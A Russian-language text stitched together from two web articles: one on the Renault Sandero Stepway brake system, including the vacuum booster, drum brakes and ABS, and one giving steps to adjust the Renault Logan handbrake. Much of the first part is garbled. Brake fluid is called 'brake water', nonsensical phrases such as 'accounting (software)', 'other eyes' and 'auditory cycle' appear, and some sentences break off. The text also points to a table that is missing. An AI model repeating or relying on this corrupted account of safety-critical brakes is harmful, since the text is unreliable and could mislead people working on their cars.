На тормозном цилиндре главного цилиндра Renault Sandero Stepway через резиновые соединительные втулки 3 и 7 установлен резервуар 2, внутренняя полость которого разделена перегородкой на два отсека. Кто отключает питание одной из камер главного цилиндра.
Когда вы нажимаете педаль тормоза, поршни главного цилиндра начинают двигаться, компенсационные отверстия закрываются рабочими кромками манжет, камеры и бачок отключаются, а тормозная вода вытесняется.
Датчик уровня тормозной воды установлен в баке 1 бака. Когда уровень воды падает ниже допустимого уровня устройств, загорается контрольная лампа для неисправного состояния тормозов, что позволяет вести учет (программное обеспечение).
Рис. 23. Вакуумный усилитель тормозов Renault Sandero Stepway
1. вилка; 2,4. Контргайка; 3. толкатель; 4. защитное покрытие; 5. контакты вакуумного усилителя; 6. прокладка; 7. Корпус усилителя
Вакуумный усилитель тормозов Renault Sandero Stepway (рис. 23), установленный между педалью и главным тормозным цилиндром, тормозит главный цилиндр, создавая вакуум во впускной трубе двигателя через шток и поршень первой камеры, пропорционально силе ,
Обратный клапан установлен в шланге, соединяющем вакуумный усилитель с впускной трубой. Он поддерживает вакуум в усилителе при его поступлении во впускной коллектор и предотвращает попадание воздушно-топливной смеси в вакуумный усилитель.
Тормозной механизм заднего колеса барабанного типа с автоматической регулировкой зазора между колодками и барабаном. Тормозные колодки 7 и 12 (фиг. 25) приводятся в движение одним гидравлическим рабочим цилиндром 8 с 2 поршнями. Наилучший зазор между барабаном и колодками поддерживается механическим регулятором 2.4, установленным на проставке 9.
Механически управляемый стояночный тормоз Renault Sandero Stepway состоит из рычага, установленного на корпусе между передние сиденья, Передний трос с регулировочным устройством и эквалайзером, к которому прикреплены два задних троса и расширительные рычаги, установленные в тормозах задних колес.
Ручной тормоз не требует особого ухода. Во время текущей проверки проверьте состояние кабелей привода. При обрыве оболочек или проводов их необходимо заменить новыми.
Автомобильная система ABS Renault Sandero Stepway
Антиблокировочная тормозная система (ABS) Renault Sandero Stepway состоит из гидроагрегата с гидравлическими электрическими клапанами, датчиками частоты вращения колеса, электронным насосом и сигнальной лампой в составе устройства.
Abs используются для контроля давления в полноприводных тормозах при торможении в сложных дорожных условиях, предотвращая блокировку колес.
Abs Renault Sandero Stepway предлагает следующие преимущества:
— избегать препятствий с повышенной безопасностью, в том числе при критическом торможении;
— Сокращение тормозного пути при критическом торможении при сохранении устойчивости и маневренности автомобиля, включая повороты.
Для которых конструкция неисправности предназначена для учета (программного обеспечения), существует функция поддержания работы в случае сбоев комплекса программ учета.
Блок управления гидроэлектроникой получает информацию о критериях скорости, направлении движения и критериях дороги от датчиков скорости колеса.
На основании этой информации блок управления определяет оптимальный режим торможения колес, изменяя поперечное сечение цепей с помощью электрических клапанов, прогнозируя момент блокировки, что замедляет вращение колеса, предотвращая тем самым его замок.
Если система предполагает блокировку любого колеса, она дает команду соответствующему клапану изолировать подачу воды в рабочий цилиндр этого колеса от главного тормозного цилиндра.
Если скорость вращения колеса продолжает снижаться по сравнению с другими глазами, система Renault Sandero Stepway ABS возвращает тормозную жидкость обратно в главный цилиндр, уменьшая торможение.
Если у нашего клиента есть четыре колеса для одинакового замедления, невозвратный насос отключится, и все остальные электрические клапаны снова откроются, позволяя, как правило, главному тормозному цилиндру влиять на рабочие цилиндры. Этот полный слуховой цикл может повторяться до 10 раз в секунду.
Включение электрических клапанов и невозвратного насоса делает пульсации в гидроприводе системы дозирования тормозов, они передаются на педаль тормоза, сигнализируя водителю о работе Abs Renault Sandero Stepway.
Электрические клапаны в контурах тормозов передних колес работают независимо от их отдельных цилиндров, хотя цепи электрических тормозов задних колес будут влиять на оба привода одновременно.
Поскольку тормозная система имеет диагональное разделение, очень механический плунжерный клапан в гидравлическом блоке разделяет гидравлический выход заднего электрического клапана на две отдельные цепи, чтобы предотвратить влияние неправильных сигналов на систему, интегрированная схема безопасности контролирует все входные сигналы блока управления.
Если получен неправильный сигнал или недостаточно встроенного источника питания, система автоматически отключается и загорается контрольная лампа Abs на устройстве.
В этом случае нормальный режим работы тормозов позволяет вести учет (программное обеспечение), но при движении по скользкой дороге необходимо быть очень осторожным, поскольку функция распределения системы учета будет нарушена (функция выравнивания давления в тормозных механизмах передних и задних колес) и скольжения автомобиля при торможении.
Если система Abs Renault Sandero Stepway неисправна, обратитесь в сервисный центр, поскольку для диагностики и устранения неисправности требуется специальное оборудование.
Гидравлическая тормозная система интегрирована с металлическими трубками и шлангами. Система заполнена специальной тормозной жидкостью класса DOT-4, которую необходимо время от времени заменять.
Источник
Сколько должно быть щелчков?
По заявлению мастеров при регулировке ручника Логана количество щелчков должно равняться шести. Но эта рекомендация — только вершина «айсберга». В процессе работы держите под контролем итоги выполненной работы. Если ручной тормоз Рено настроен правильно, авто должно удерживаться под углом, стоя на эстакаде, и не скатываться. Угла такого сооружения достаточно для проверки ручника (он составляет 25 градусов).
Алгоритм действий выглядит так:
- Протягивайте тросик до шестого щелчка.
- Убедитесь в результате.
- Если требуется снизить количество щелчков до пяти, сделайте это. Но учтите, что даже при опускании ручного тормоза Renault возможно «прихватывание» колес.
В крайних случаях, допускается уменьшение числа щелчков до четырех. При этом проверяйте колеса сзади — они могут не зафиксироваться.
Как подтянуть ручник на Рено Логан: шаг за шагом
Весь процесс регулировки ручного тормоза производится по простому алгоритму:
- Демонтируйте заглушку с облицовочной части тоннеля.
- Используйте ключ Торкс Т20, чтобы скрутить саморез.
- Поднимайте облицовочную часть вверх, а далее — сдвигайте ее вперед и убирайте совсем.
- Найдите гайку (она имеет пирамидную форму) и отгибайте ее назад.
- Проверьте, что колеса Рено зафиксированы. Для этого предварительно подставьте противооткатные башмаки. Если таковых нет, поднимайте машина на домкрате.
- Опускайте ручной тормоз вниз.
- Теперь нужно подтянуть узел. Для этого берите ключ на «десять» и делайте ½ оборота гайки.
- Считайте количество щелчков (оно должно быть равно 4-6). Здесь учтите рекомендации, о которых упоминалось выше.
- Если регулировка не дала результатов, делайте еще ½ оборота. Подтягивайте гайку до тех пор, пока не будет достигнут ожидаемый результат.
Подтянуть ручной тормоз Логана не так просто, как может показаться. Здесь важно, чтобы при опускании рычага колеса легко вращались и не блокировались. При этом после подъема ручника колеса должны надежно фиксироваться.
В автомобилях Рено Логан процесс регулирования расстояния между колодками и барабаном автоматический. Но это не значит, что этот параметр нельзя менять. На практике из-за небольшого расстояния ручник не всегда удается настроить. В такой ситуации отрегулируйте зазор.
После ставьте крышки на барабаны и жмите на тормоз Рено 12-15 раз. При этом зазор в заднем механизме тормозов должен быть изменен. Далее проверьте корректность регулировки тормоза.
Чтобы избежать проблем в будущем, важно не только подтягивать тросик ручника, но и периодически производить ревизию системы. Здесь алгоритм такой:
- Контролируйте уровень тормозной жидкости.
- Проверьте и поменяйте колодки на передних колесах.
- Проверьте и поменяйте барабан на задних колесах.
- Проверьте и поменяйте передние диски.
Упомянутые работы выполняются, если в этом имеется необходимость.
Разработчики автомобиля из компании Рено уверяют, что ручной тормоз не требует регулировки из-за отсутствия растягивания троса. Если же вы приняли решение о необходимости выполнения такой работы, учтите следующие риски:
- При настройке храповиков заменять их не рекомендуется. Учтите, что зазор с левой и с правой стороны должен быть идентичным, а реализовать это сложно.
- В случае перетяжки гайки для регулировки не обойтись без ее откручивания. А это связано с проблемами, ведь придется подплавлять шайбу из пластика с предварительным нагревом узла. Реализовать это без привлечения мастеров и в условиях гаража сложно.
Натянуть тросик ручника реально. Но делайте эту работу внимательно и при условии четкого следования инструкции. Если и появляются проблемы, то посмотрите обучающее видео или обратитесь к специалистам. Если требуется замена тросика, выбирайте оригинальные запчасти (артикул — 6001547168) или аналоги (приведены в таблице ниже).
Источник








